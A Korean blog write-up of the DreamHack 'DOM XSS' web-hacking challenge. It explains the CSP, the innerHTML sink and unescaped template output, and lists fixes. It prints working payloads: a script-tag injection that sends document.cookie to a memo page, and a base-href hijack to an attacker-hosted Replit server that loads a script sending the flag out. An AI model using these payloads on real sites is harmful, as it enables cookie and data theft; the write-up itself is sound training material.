상세 컨텐츠

본문 제목

[DreamHack] DOM XSS

DreamHack/XSS

by obscurity_ 2024. 9. 6. 23:39

본문

안녕하세요.

이번 포스팅에서 분석해볼 문제는 드림핵에서 제공하는 웹해킹 문제 DOM XSS입니다.

 

 

 

기본적인 페이지 구성입니다.

 

총 4가지의 페이지로 되어있는데, 메인 페이지인 index, flag, memo, vuln으로 구성됩니다.

flag 페이지에서 요청한 값은 vuln으로 전송되고 memo 페이지에서는

memo 라는 파라미터로 전송한 값이 memo라는 텍스트 에디터에 추가되어 출력되는 구조입니다.

 

이 문제를 처음 봤을 때 눈에 띄었던 것은 CSP 설정이었습니다.

['Content-Security-Policy'] = 
default-src 'self'; 
img-src https://dreamhack.io; 
style-src 'self' 'unsafe-inline'; 
script-src 'self' 'nonce-{nonce}' 'strict-dynamic'

 

CSP는 현재 위와 같이 script 태그를 사용함에 있어서 nonce값을 받아야합니다.

strict-dynamic 이라는 설정은 처음 보는데, 검색해보니 이 값이 설정되어 있으면

조금 더 안전한 CSP 정책을 완성할 수 있다고합니다.

만약 script 태그에 unsafe-inline 같은 안전하지 않은 설정이 되어있다고 하더라도

strict-dynamic이 설정되면 인라인 함수가 호출되지 않는다고 합니다.

하지만 이것도 요구하는 nonce 값이 설정되어 있는 스크립트 태그라면 인라인 함수 호출이 허용됩니다.  

 

 

해당 문제는 여러가지 html 파일이 제공되어서 vuln.html부터 구경을 해봤습니다.

사실 처음엔 문제 분석을 위해서보다는 궁금해서 읽어봤는데,

다른 페이지들은 딱히 읽을 필요는 없어보이고 vuln 페이지를 중점적으로 읽어보시면 될듯 합니다.

 

{% extends "base.html" %}
{% block title %}Index{% endblock %}

{% block head %}
  {{ super() }}
  <style type="text/css">
    .important { color: #336699; }
  </style>
{% endblock %}

{% block content %}

  <script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>
{% endblock %}

 

vuln.html의 코드입니다.

현재 nonce 값이 설정된 스크립트 태그 안에서 name이라는 이름의 id 속성을 가진 객체를 찾은 뒤,

그 객체 안에 innerHTML을 통해서 내용을 해쉬 파라미터 값으로 변경하고 있습니다.

 

혹시나 자바스크립트를 잘 모르시는 분들을 위해서 설명 드리자면

document는 자바스크립트에서 객체이며, 이 객체 안에 있는 getElementById, querySelector, 등등..

HTML 태그 안에서 여러가지 객체를 찾을 수 있는 그런 메서드들이 존재합니다.

getElementById는 HTML 태그의 id 속성값에서 일치하는 태그를 찾습니다.

 

예를 들어 document.getElementById('name') 이라고 한다면 

<div id="name">과 같은 태그를 찾아서 반환하게 됩니다.

 

그 반환된 값을 현재 name_elem이라는 변수에 저장을 했는데,

다음 줄을 확인해보면 해당 값에 innerHTML 함수를 통해서 

JQuery로 부터 가져온 해쉬값의 1번째 값을 가져와서 추가하고 있습니다.

 

예를 들어서 

http://example.com#history 이런 URL이 vuln 로직에 적용된다고 한다면

# 뒤에 있는 history라는 값이 ${location.hash.slice(1)} 이라는 값에 들어가서

"history is my name !"이라는 값으로 완성되고, 그것이 name 이라는 id값을 가진 태그의

내용으로 삽입되게 됩니다.

 

 

  {{ param | safe }}
  <pre id="name"></pre>

 

또 한 가지는 그 코드의 바로 아래에 name 값을 가진 pre 태그가 존재하지만,

이 위에 param 값을 삽입해주는 코드가 존재하며, 이 코드는 safe를 통해서

이스케이핑 처리를 하지 않고 HTML 코드 그대로 삽입을 시켜줍니다.

 

만약 safe 처리가 되어 있지 않은 상태에서 param 값에다가

<strong>Hello, World !</strong>

  

위와 같은 페이로드를 삽입했다고 한다면, 페이지에는 해당 문자가 그대로 출력됩니다.

하지만 safe를 사용하여 이스케이핑 처리를 하지 않는다면 strong 태그는

글자를 굵게 만드는 역할을 하기 때문에

Hello, World ! 라는 문자로 출력이 될 것입니다.

 

 

정리하자면 현재 vuln 페이지는 다음과 같은 이유로 DOM XSS 공격에 취약합니다.

 

  • nonce가 설정된 스크립트를 통해서 사용자 입력값을 검증 없이 추가한다.
  • HTML 태그에 내용을 삽입할 때 안전한 textContent, innerText가 아닌 innerHTML을 사용한다.
  • safe를 통해서 이스케이핑 처리를 하지 않은 채로 파라미터를 출력한다.

 

이제 이러한 취약점을 이용하여 문제를 풀어보겠습니다.

현재 서버의 CSP 정책에 따라서 param 파라미터에는 스크립트 태그에서 어떤 동작을 하지 못합니다.

nonce 값도 모르죠.

 

그래서 그냥 스크립트 태그 자체만 삽입을 합니다.

 

param=<script id="name"></script>&name=

 

이처럼 삽입하게 된다면 getElementById 메서드에 의해서 가장 먼저 탐색되는 name 값을 가진 태그는

script 태그가 될 것입니다.

 

그런 다음 # 뒤에 삽입하는 파라미터는 nonce 값이 설정된 스크립트에 의해서

innerHTML로 script 태그 안에 내용이 삽입되겠죠.

여기서 XSS 공격을 실행하면 됩니다.

 

param=<script id="name"></script>&name=location.href='/memo?memo='+document.cookie//

 

보기 쉬우라고 인코딩을 안 해둔 상태인데, 실제로 버프를 통해서 전송할 때는

URL 인코딩을 해줘야 정상적으로 처리됩니다.

 

 

 

이렇게 하면 문제가 풀립니다.

 

 

하지만 이 문제에는 다른 방식의 풀이도 존재하여 다른 방식도 보여드리고자 합니다.

이 문제는 CSP 정책이 설정되어 있는데, CSP는 모든 것을 차단해버리는 SOP와 다르게

내가 허용하고자 하는 것들을 선택하는 정책이다보니

아무래도 설정을 완벽하게 하지 않으면 우회 방법이나 취약점이 존재하기 마련입니다.

 

['Content-Security-Policy'] = 
default-src 'self'; 
img-src https://dreamhack.io; 
style-src 'self' 'unsafe-inline'; 
script-src 'self' 'nonce-{nonce}' 'strict-dynamic'

 

CSP에서 중요한 항목 중엔 base-uri가 있습니다.

이 항목을 설정하지 않는다면 코드 삽입이 가능할 때, 공격자는 base-uri 를 변경할 수 있습니다.

먼저 base-uri가 바뀐다면 어떻게 되는지와, 이것이 무슨 역할을 하는지부터 알아봐야겠죠.

 

 

 

vuln 페이지의 페이지 소스를 확인해보면 /static/js/jquery.min.js 라는 스크립트 파일을 링크하고 있습니다.

보통 웬만한 서버들은 js, css, sss 등 다양한 파일을 한곳에 정의한 뒤에

각 페이지에서는 이것을 링크하여 부르는 유지보수가 편리한 방식을 사용합니다.

 

현재는 상대경로로 설정이 되어있으며 base-uri의 디폴트는 로컬입니다.

만약 제가 xampp 패널을 통해서 아파치 웹서버를 열었다고 한다면

제 웹서버의 default base-uri는 C:\xampp\htdocs인 127.0.0.1/이 되는 것이죠.

그래서 /upload 라는 경로만 적는다고 하더라도

실제로는 C:\xmapp\htdocs\home 이라는 경로 하위에 있는 파일을 가져올 수 있습니다.

 

하지만 이 값이 공격자의 서버로 변경된다면 공격자 서버의 최상위 경로로부터

/static/js/ 디렉토리 하위에 있는 파일들을 가져오게 될 것입니다.

vuln 페이지에는 태그를 삽입할 수 있는 취약점이 존재하며,

base-uri 설정이 되지 않았기 때문에 이와 같은 공격이 가능한 것이죠.

 

 

 

저는 Replit라는 개인 임시 서버를 만드는 사이트를 이용하여 만들어봤습니다.

제 디렉토리에 /static/js 경로를 만들고 그 하위에 jquery.min.js 파일을 생성했습니다.

그리고 드림핵에서 제공하는 리퀘스트 서버를 하나 열어둡니다.

 

 

그리고 드림핵의 제 개인 서버로 리디렉션을 시켜주는 자바스크립트 코드를 jquery.min,js에 삽입하고

해당 서버의 최상위 경로 주소를 가져와서 base 태그 안에 삽입해줍니다.

 

 

param=<base href='https://3901c6af-d1ec-4a0b-b365-e94f56535c6a-00-1gxo7mfzcfltz.sisko.replit.dev/'>&name=

 

이렇게 설정하면 공격 로직은 아래와 같이 됩니다.

  • 서버의 base-uri가 공격자의 개인 서버 경로로 변경됩니다.
  • 공격자 개인서버의 경로로부터 /static/js/jquery.min.js 파일이 vuln 페이지가 렌더링 될 때마다 실행됩니다.
  • 공격자 jquery.min.js 파일에는 공격자의 임시 url의 파라미터에 중요 정보를 포함하는 요청을 보내는 코드가 있습니다.
  • vuln 페이지가 렌더링 될 때마다 공격자의 서버에는 민감한 정보가 전송됩니다.

 

 

 

플래그가 실제로 공격자의 서버에 전송된 모습입니다.

 


정리하여 해당 문제의 취약점을 보완하는 방법은 아래와 같습니다.

 

  • 사용자의 입력값을 받을 때는 항상 적절한 검증 로직을 통해서 안전하게 처리한다.
  • 사용자의 입력값이 HTML에 노출될 때는 이스케이핑 처리를 반드시 해준다.
  • HTML 코드 내에 새로운 내용을 추가할 때는 innerHTML이 아닌 textContent 혹은 innerText를 사용한다.
  • Base-uri를 설정한다.

 

읽어주셔서 감사합니다.

틀린 내용은 댓글로 피드백 바랍니다.

'DreamHack > XSS' 카테고리의 다른 글

[DreamHack] XS-Search  (1) 2024.09.17
[DreamHack] CSS Injection  (1) 2024.09.08

관련글 더보기